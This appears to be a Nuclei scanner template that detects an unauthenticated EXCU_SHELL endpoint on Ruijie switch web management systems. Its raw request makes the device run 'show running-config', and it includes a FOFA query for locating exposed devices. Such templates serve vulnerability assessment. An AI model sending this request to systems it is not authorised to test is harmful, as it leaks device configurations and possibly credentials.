ruijie-excu-shell: Ruijie Switch Web Management System EXCU_SHELL - Information Disclosure

id: ruijie-excu-shell

info:
  name: Ruijie Switch Web Management System EXCU_SHELL - Information Disclosure
  author: momika233
  severity: high
  description: |
    Ruijie switch WEB management system is vulnerable to an EXCU_SHELL information disclosure issue, potentially exposing sensitive system information to unauthorized parties.
  reference:
    - https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL
    - https://github.com/ibaiw/2023Hvv/blob/main/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BA%20WEB%20%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20EXCU_SHELL%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="img/free_login_ge.gif" && body="./img/login_bg.gif"
  tags: ruijie,switch,disclosure,misconfig,vuln

http:
  - raw:
      - |
        GET /EXCU_SHELL HTTP/1.1
        Host: {{Hostname}}
        Cmdnum: '1'
        Command1: show running-config
        Confirm1: n

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Building configuration"
          - "Current configuration"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c66b9fbae3254461e163b94b0fa8cba10b2f153a10c3e8d831bfd00308d456e3022100ac2404d28a9700581ca4bda4300356b6872e5d083a34f92df681fe9d72cd5091:922c64590222798bb761d5b6d8e72950